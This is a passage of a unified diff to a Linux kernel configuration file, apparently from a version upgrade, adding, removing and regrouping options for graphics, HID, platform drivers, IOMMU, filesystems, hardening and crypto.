CONFIG_X86_PKG_TEMP_THERMAL is not set # CONFIG_INTEL_SOC_DTS_THERMAL is not set @@ -1678,6 +1796,9 @@ CONFIG_THERMAL_GOV_STEP_WISE=y # end of ACPI INT340X thermal drivers # CONFIG_INTEL_PCH_THERMAL is not set +# CONFIG_INTEL_TCC_COOLING is not set +# CONFIG_INTEL_MENLOW is not set +# CONFIG_INTEL_HFI_THERMAL is not set # end of Intel thermal drivers # CONFIG_WATCHDOG is not set @@ -1710,6 +1831,7 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_LPC_SCH is not set # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set +# CONFIG_MFD_INTEL_PMC_BXT is not set # CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set @@ -1724,19 +1846,21 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_MAX8997 is not set # CONFIG_MFD_MAX8998 is not set # CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set # CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set # CONFIG_MFD_RETU is not set # CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set # CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set # CONFIG_MFD_RC5T583 is not set -# CONFIG_MFD_SEC_CORE is not set # CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set # CONFIG_MFD_SKY81452 is not set -# CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set @@ -1750,7 +1874,6 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_LP873X is not set # CONFIG_MFD_TPS6586X is not set # CONFIG_MFD_TPS65912_I2C is not set -# CONFIG_MFD_TPS80031 is not set # CONFIG_TWL4030_CORE is not set # CONFIG_TWL6040_CORE is not set # CONFIG_MFD_WL1273_CORE is not set @@ -1762,36 +1885,45 @@ CONFIG_MFD_SYSCON=y # CONFIG_MFD_WM831X_I2C is not set # CONFIG_MFD_WM8350_I2C is not set # CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set # CONFIG_RC_CORE is not set + +# +# CEC support +# # CONFIG_MEDIA_CEC_SUPPORT is not set +# end of CEC support + # CONFIG_MEDIA_SUPPORT is not set # # Graphics support # +CONFIG_APERTURE_HELPERS=y # CONFIG_AGP is not set CONFIG_INTEL_GTT=y -CONFIG_VGA_ARB=y -CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VGA_SWITCHEROO is not set CONFIG_DRM=y CONFIG_DRM_MIPI_DSI=y -# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DEBUG_MM is not set -# CONFIG_DRM_DEBUG_SELFTEST is not set CONFIG_DRM_KMS_HELPER=y -CONFIG_DRM_KMS_FB_HELPER=y # CONFIG_DRM_DEBUG_DP_MST_TOPOLOGY_REFS is not set +# CONFIG_DRM_DEBUG_MODESET_LOCK is not set CONFIG_DRM_FBDEV_EMULATION=y CONFIG_DRM_FBDEV_OVERALLOC=100 CONFIG_DRM_FBDEV_LEAK_PHYS_SMEM=y # CONFIG_DRM_LOAD_EDID_FIRMWARE is not set +CONFIG_DRM_DISPLAY_HELPER=y +CONFIG_DRM_DISPLAY_DP_HELPER=y +CONFIG_DRM_DISPLAY_HDCP_HELPER=y +CONFIG_DRM_DISPLAY_HDMI_HELPER=y +# CONFIG_DRM_DP_AUX_CHARDEV is not set # CONFIG_DRM_DP_CEC is not set CONFIG_DRM_TTM=y -CONFIG_DRM_TTM_DMA_PAGE_POOL=y +CONFIG_DRM_BUDDY=y CONFIG_DRM_VRAM_HELPER=y CONFIG_DRM_TTM_HELPER=y @@ -1817,7 +1949,6 @@ CONFIG_DRM_I915_FORCE_PROBE="" CONFIG_DRM_I915_CAPTURE_ERROR=y CONFIG_DRM_I915_COMPRESS_ERROR=y CONFIG_DRM_I915_USERPTR=y -# CONFIG_DRM_I915_GVT is not set # # drm/i915 Debugging @@ -1837,6 +1968,7 @@ CONFIG_DRM_I915_USERPTR=y # # drm/i915 Profile Guided Optimisation # +CONFIG_DRM_I915_REQUEST_TIMEOUT=20000 CONFIG_DRM_I915_FENCE_TIMEOUT=10000 CONFIG_DRM_I915_USERFAULT_AUTOSUSPEND=250 CONFIG_DRM_I915_HEARTBEAT_INTERVAL=2500 @@ -1854,7 +1986,6 @@ CONFIG_DRM_I915_TIMESLICE_DURATION=1 CONFIG_DRM_AST=y # CONFIG_DRM_MGAG200 is not set # CONFIG_DRM_QXL is not set -# CONFIG_DRM_BOCHS is not set CONFIG_DRM_PANEL=y # @@ -1873,11 +2004,16 @@ CONFIG_DRM_PANEL_BRIDGE=y # end of Display Interface Bridges # CONFIG_DRM_ETNAVIV is not set +# CONFIG_DRM_BOCHS is not set # CONFIG_DRM_CIRRUS_QEMU is not set # CONFIG_DRM_GM12U320 is not set +# CONFIG_DRM_SIMPLEDRM is not set # CONFIG_DRM_VBOXVIDEO is not set +# CONFIG_DRM_GUD is not set +# CONFIG_DRM_SSD130X is not set # CONFIG_DRM_LEGACY is not set CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y +CONFIG_DRM_NOMODESET=y # # Frame buffer Devices @@ -1886,7 +2022,6 @@ CONFIG_FB_CMDLINE=y CONFIG_FB_NOTIFY=y CONFIG_FB=y # CONFIG_FIRMWARE_EDID is not set -CONFIG_FB_BOOT_VESA_SUPPORT=y CONFIG_FB_CFB_FILLRECT=y CONFIG_FB_CFB_COPYAREA=y CONFIG_FB_CFB_IMAGEBLIT=y @@ -1970,6 +2105,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION=y CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -1995,7 +2131,6 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_A4TECH is not set # CONFIG_HID_ACCUTOUCH is not set # CONFIG_HID_ACRUX is not set -# CONFIG_HID_APPLE is not set # CONFIG_HID_APPLEIR is not set # CONFIG_HID_AUREAL is not set # CONFIG_HID_BELKIN is not set @@ -2022,6 +2157,8 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_UCLOGIC is not set # CONFIG_HID_WALTOP is not set # CONFIG_HID_VIEWSONIC is not set +# CONFIG_HID_VRC2 is not set +# CONFIG_HID_XIAOMI is not set # CONFIG_HID_GYRATION is not set # CONFIG_HID_ICADE is not set # CONFIG_HID_ITE is not set @@ -2030,9 +2167,11 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_KENSINGTON is not set # CONFIG_HID_LCPOWER is not set # CONFIG_HID_LENOVO is not set +# CONFIG_HID_LETSKETCH is not set # CONFIG_HID_MAGICMOUSE is not set # CONFIG_HID_MALTRON is not set # CONFIG_HID_MAYFLASH is not set +# CONFIG_HID_MEGAWORLD_FF is not set # CONFIG_HID_REDRAGON is not set # CONFIG_HID_MICROSOFT is not set # CONFIG_HID_MONTEREY is not set @@ -2045,11 +2184,15 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_PETALYNX is not set # CONFIG_HID_PICOLCD is not set # CONFIG_HID_PLANTRONICS is not set +# CONFIG_HID_PXRC is not set +# CONFIG_HID_RAZER is not set # CONFIG_HID_PRIMAX is not set # CONFIG_HID_RETRODE is not set # CONFIG_HID_ROCCAT is not set # CONFIG_HID_SAITEK is not set # CONFIG_HID_SAMSUNG is not set +# CONFIG_HID_SEMITEK is not set +# CONFIG_HID_SIGMAMICRO is not set # CONFIG_HID_SPEEDLINK is not set # CONFIG_HID_STEAM is not set # CONFIG_HID_STEELSERIES is not set @@ -2059,6 +2202,7 @@ CONFIG_HID_GENERIC=y # CONFIG_HID_SMARTJOYPLUS is not set # CONFIG_HID_TIVO is not set # CONFIG_HID_TOPSEED is not set +# CONFIG_HID_TOPRE is not set # CONFIG_HID_THRUSTMASTER is not set # CONFIG_HID_UDRAW_PS3 is not set # CONFIG_HID_WACOM is not set @@ -2087,7 +2231,7 @@ CONFIG_USB_HID=m # # I2C HID support # -# CONFIG_I2C_HID is not set +# CONFIG_I2C_HID_ACPI is not set # end of I2C HID support # @@ -2095,6 +2239,12 @@ CONFIG_USB_HID=m # # CONFIG_INTEL_ISH_HID is not set # end of Intel ISH HID support + +# +# AMD SFH HID Support +# +# CONFIG_AMD_SFH_HID is not set +# end of AMD SFH HID Support # end of HID support CONFIG_USB_OHCI_LITTLE_ENDIAN=y @@ -2179,7 +2329,7 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set -# CONFIG_USB_CDNS3 is not set +# CONFIG_USB_CDNS_SUPPORT is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set @@ -2232,6 +2382,7 @@ CONFIG_USB_STORAGE=m # CONFIG_TYPEC is not set # CONFIG_USB_ROLE_SWITCH is not set # CONFIG_MMC is not set +# CONFIG_SCSI_UFSHCD is not set # CONFIG_MEMSTICK is not set # CONFIG_NEW_LEDS is not set # CONFIG_ACCESSIBILITY is not set @@ -2300,6 +2451,7 @@ CONFIG_RTC_I2C_AND_SPI=y # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2328,6 +2480,7 @@ CONFIG_RTC_DRV_CMOS=y # # HID Sensor RTC drivers # +# CONFIG_RTC_DRV_GOLDFISH is not set # CONFIG_DMADEVICES is not set # @@ -2336,8 +2489,10 @@ CONFIG_RTC_DRV_CMOS=y CONFIG_SYNC_FILE=y # CONFIG_UDMABUF is not set # CONFIG_DMABUF_MOVE_NOTIFY is not set +# CONFIG_DMABUF_DEBUG is not set # CONFIG_DMABUF_SELFTESTS is not set # CONFIG_DMABUF_HEAPS is not set +# CONFIG_DMABUF_SYSFS_STATS is not set # end of DMABUF options # CONFIG_AUXDISPLAY is not set @@ -2354,13 +2509,83 @@ CONFIG_SYNC_FILE=y # end of Microsoft Hyper-V guest support # CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +# CONFIG_SURFACE_PLATFORMS is not set +CONFIG_X86_PLATFORM_DEVICES=y +CONFIG_ACPI_WMI=y +# CONFIG_WMI_BMOF is not set +# CONFIG_HUAWEI_WMI is not set +# CONFIG_MXM_WMI is not set +# CONFIG_PEAQ_WMI is not set +# CONFIG_NVIDIA_WMI_EC_BACKLIGHT is not set +# CONFIG_XIAOMI_WMI is not set +# CONFIG_YOGABOOK_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_ACER_WMI is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_HP_WMI is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_THINKPAD_ACPI is not set +# CONFIG_THINKPAD_LMI is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# CONFIG_INTEL_WMI_SBL_FW_UPDATE is not set +# CONFIG_INTEL_WMI_THUNDERBOLT is not set + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_MSI_WMI is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_TOSHIBA_WMI is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_LG_LAPTOP is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_MAX9485 is not set @@ -2369,6 +2594,7 @@ CONFIG_COMMON_CLK=y # CONFIG_COMMON_CLK_SI544 is not set # CONFIG_COMMON_CLK_CDCE706 is not set # CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -2392,7 +2618,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -2426,11 +2656,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -2441,11 +2666,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -2456,7 +2691,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -2465,7 +2699,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2481,7 +2714,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_GENERIC_PHY=y # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2501,16 +2741,16 @@ CONFIG_GENERIC_PHY=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2520,11 +2760,12 @@ CONFIG_NVMEM_SYSFS=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2550,10 +2791,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2592,6 +2831,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2610,6 +2850,7 @@ CONFIG_TMPFS=y # CONFIG_TMPFS_XATTR is not set # CONFIG_TMPFS_INODE64 is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_MEMFD_CREATE=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set @@ -2682,12 +2923,9 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y -CONFIG_HARDENED_USERCOPY_FALLBACK=y -# CONFIG_HARDENED_USERCOPY_PAGESPAN is not set # CONFIG_FORTIFY_SOURCE is not set # CONFIG_STATIC_USERMODEHELPER is not set CONFIG_DEFAULT_SECURITY_DAC=y @@ -2701,9 +2939,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2736,7 +2982,7 @@ CONFIG_CRYPTO_CRYPTD=y CONFIG_CRYPTO_AUTHENC=y # CONFIG_CRYPTO_TEST is not set CONFIG_CRYPTO_SIMD=y -CONFIG_CRYPTO_GLUE_HELPER_X86=y +# end of Crypto core or helper # # Public-key cryptography @@ -2744,114 +2990,90 @@ CONFIG_CRYPTO_GLUE_HELPER_X86=y # CONFIG_CRYPTO_RSA is not set # CONFIG_CRYPTO_DH is not set # CONFIG_CRYPTO_ECDH is not set +# CONFIG_CRYPTO_ECDSA is not set # CONFIG_CRYPTO_ECRDSA is not set # CONFIG_CRYPTO_SM2 is not set # CONFIG_CRYPTO_CURVE25519 is not set -# CONFIG_CRYPTO_CURVE25519_X86 is not set +# end of Public-key cryptography # -# Authenticated Encryption with Associated Data +# Block ciphers # -# CONFIG_CRYPTO_CCM is not set -# CONFIG_CRYPTO_GCM is not set -# CONFIG_CRYPTO_CHACHA20POLY1305 is not set -# CONFIG_CRYPTO_AEGIS128 is not set -# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set -# CONFIG_CRYPTO_SEQIV is not set -# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_AES=y +# CONFIG_CRYPTO_AES_TI is not set +# CONFIG_CRYPTO_ARIA is not set +# CONFIG_CRYPTO_BLOWFISH is not set +# CONFIG_CRYPTO_CAMELLIA is not set +# CONFIG_CRYPTO_CAST5 is not set +# CONFIG_CRYPTO_CAST6 is not set +# CONFIG_CRYPTO_DES is not set +# CONFIG_CRYPTO_FCRYPT is not set +# CONFIG_CRYPTO_SERPENT is not set +# CONFIG_CRYPTO_SM4_GENERIC is not set +# CONFIG_CRYPTO_TWOFISH is not set +# end of Block ciphers # -# Block modes +# Length-preserving ciphers and modes # +# CONFIG_CRYPTO_ADIANTUM is not set +# CONFIG_CRYPTO_CHACHA20 is not set CONFIG_CRYPTO_CBC=y # CONFIG_CRYPTO_CFB is not set # CONFIG_CRYPTO_CTR is not set # CONFIG_CRYPTO_CTS is not set CONFIG_CRYPTO_ECB=y +# CONFIG_CRYPTO_HCTR2 is not set +# CONFIG_CRYPTO_KEYWRAP is not set # CONFIG_CRYPTO_LRW is not set # CONFIG_CRYPTO_OFB is not set # CONFIG_CRYPTO_PCBC is not set CONFIG_CRYPTO_XTS=y -# CONFIG_CRYPTO_KEYWRAP is not set -# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set -# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set -# CONFIG_CRYPTO_ADIANTUM is not set -CONFIG_CRYPTO_ESSIV=y +# end of Length-preserving ciphers and modes # -# Hash modes +# AEAD (authenticated encryption with associated data) ciphers # -# CONFIG_CRYPTO_CMAC is not set -CONFIG_CRYPTO_HMAC=y -# CONFIG_CRYPTO_XCBC is not set -# CONFIG_CRYPTO_VMAC is not set +# CONFIG_CRYPTO_AEGIS128 is not set +# CONFIG_CRYPTO_CHACHA20POLY1305 is not set +# CONFIG_CRYPTO_CCM is not set +# CONFIG_CRYPTO_GCM is not set +# CONFIG_CRYPTO_SEQIV is not set +# CONFIG_CRYPTO_ECHAINIV is not set +CONFIG_CRYPTO_ESSIV=y +# end of AEAD (authenticated encryption with associated data) ciphers # -# Digest +# Hashes, digests, and MACs # -CONFIG_CRYPTO_CRC32C=y -CONFIG_CRYPTO_CRC32C_INTEL=y -# CONFIG_CRYPTO_CRC32 is not set -# CONFIG_CRYPTO_CRC32_PCLMUL is not set -# CONFIG_CRYPTO_XXHASH is not set # CONFIG_CRYPTO_BLAKE2B is not set -# CONFIG_CRYPTO_BLAKE2S is not set -# CONFIG_CRYPTO_BLAKE2S_X86 is not set -# CONFIG_CRYPTO_CRCT10DIF is not set +# CONFIG_CRYPTO_CMAC is not set # CONFIG_CRYPTO_GHASH is not set -# CONFIG_CRYPTO_POLY1305 is not set -# CONFIG_CRYPTO_POLY1305_X86_64 is not set +CONFIG_CRYPTO_HMAC=y # CONFIG_CRYPTO_MD4 is not set CONFIG_CRYPTO_MD5=y # CONFIG_CRYPTO_MICHAEL_MIC is not set -# CONFIG_CRYPTO_RMD128 is not set +# CONFIG_CRYPTO_POLY1305 is not set # CONFIG_CRYPTO_RMD160 is not set -# CONFIG_CRYPTO_RMD256 is not set -# CONFIG_CRYPTO_RMD320 is not set CONFIG_CRYPTO_SHA1=y -CONFIG_CRYPTO_SHA1_SSSE3=y -CONFIG_CRYPTO_SHA256_SSSE3=y -CONFIG_CRYPTO_SHA512_SSSE3=y CONFIG_CRYPTO_SHA256=y CONFIG_CRYPTO_SHA512=y # CONFIG_CRYPTO_SHA3 is not set -# CONFIG_CRYPTO_SM3 is not set +# CONFIG_CRYPTO_SM3_GENERIC is not set # CONFIG_CRYPTO_STREEBOG is not set -# CONFIG_CRYPTO_TGR192 is not set +# CONFIG_CRYPTO_VMAC is not set # CONFIG_CRYPTO_WP512 is not set -# CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL is not set +# CONFIG_CRYPTO_XCBC is not set +# CONFIG_CRYPTO_XXHASH is not set +# end of Hashes, digests, and MACs # -# Ciphers +# CRCs (cyclic redundancy checks) # -# CONFIG_CRYPTO_AES is not set -# CONFIG_CRYPTO_AES_TI is not set -CONFIG_CRYPTO_AES_NI_INTEL=y -# CONFIG_CRYPTO_BLOWFISH is not set -# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA is not set -# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set -# CONFIG_CRYPTO_CAST5 is not set -# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set -# CONFIG_CRYPTO_CAST6 is not set -# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set -# CONFIG_CRYPTO_DES is not set -# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set -# CONFIG_CRYPTO_FCRYPT is not set -# CONFIG_CRYPTO_SALSA20 is not set -# CONFIG_CRYPTO_CHACHA20 is not set -# CONFIG_CRYPTO_CHACHA20_X86_64 is not set -# CONFIG_CRYPTO_SERPENT is not set -# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set -# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set -# CONFIG_CRYPTO_SM4 is not set -# CONFIG_CRYPTO_TWOFISH is not set -# CONFIG_CRYPTO_TWOFISH_X86_64 is not set -# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set -# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +CONFIG_CRYPTO_CRC32C=y +# CONFIG_CRYPTO_CRC32 is not set +# CONFIG_CRYPTO_CRCT10DIF is not set +# end of CRCs (cyclic redundancy checks) # # Compression @@ -2862,13 +3084,19 @@ CONFIG_CRYPTO_AES_NI_INTEL=y # CONFIG_CRYPTO_LZ4 is not set # CONFIG_CRYPTO_LZ4HC is not set # CONFIG_CRYPTO_ZSTD is not set +# end of Compression # -# Random Number Generation +# Random number generation # # CONFIG_CRYPTO_ANSI_CPRNG is not set # CONFIG_CRYPTO_DRBG_MENU is not set # CONFIG_CRYPTO_JITTERENTROPY is not set +# end of Random number generation + +# +# Userspace interface +# CONFIG_CRYPTO_USER_API=y CONFIG_CRYPTO_USER_API_HASH=y CONFIG_CRYPTO_USER_API_SKCIPHER=y @@ -2876,19 +3104,47 @@ CONFIG_CRYPTO_USER_API_RNG=y CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set +# end of Userspace interface + CONFIG_CRYPTO_HASH_INFO=y # -# Crypto library routines +# Accelerated Cryptographic Algorithms for CPU (x86) # -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y +# CONFIG_CRYPTO_CURVE25519_X86 is not set +CONFIG_CRYPTO_AES_NI_INTEL=y +# CONFIG_CRYPTO_BLOWFISH_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAMELLIA_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_CAST5_AVX_X86_64 is not set +# CONFIG_CRYPTO_CAST6_AVX_X86_64 is not set +# CONFIG_CRYPTO_DES3_EDE_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_SSE2_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX_X86_64 is not set +# CONFIG_CRYPTO_SERPENT_AVX2_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_SM4_AESNI_AVX2_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64 is not set +# CONFIG_CRYPTO_TWOFISH_X86_64_3WAY is not set +# CONFIG_CRYPTO_TWOFISH_AVX_X86_64 is not set +# CONFIG_CRYPTO_ARIA_AESNI_AVX_X86_64 is not set +# CONFIG_CRYPTO_CHACHA20_X86_64 is not set +# CONFIG_CRYPTO_AEGIS128_AESNI_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_SSE2 is not set +# CONFIG_CRYPTO_NHPOLY1305_AVX2 is not set +# CONFIG_CRYPTO_BLAKE2S_X86 is not set +# 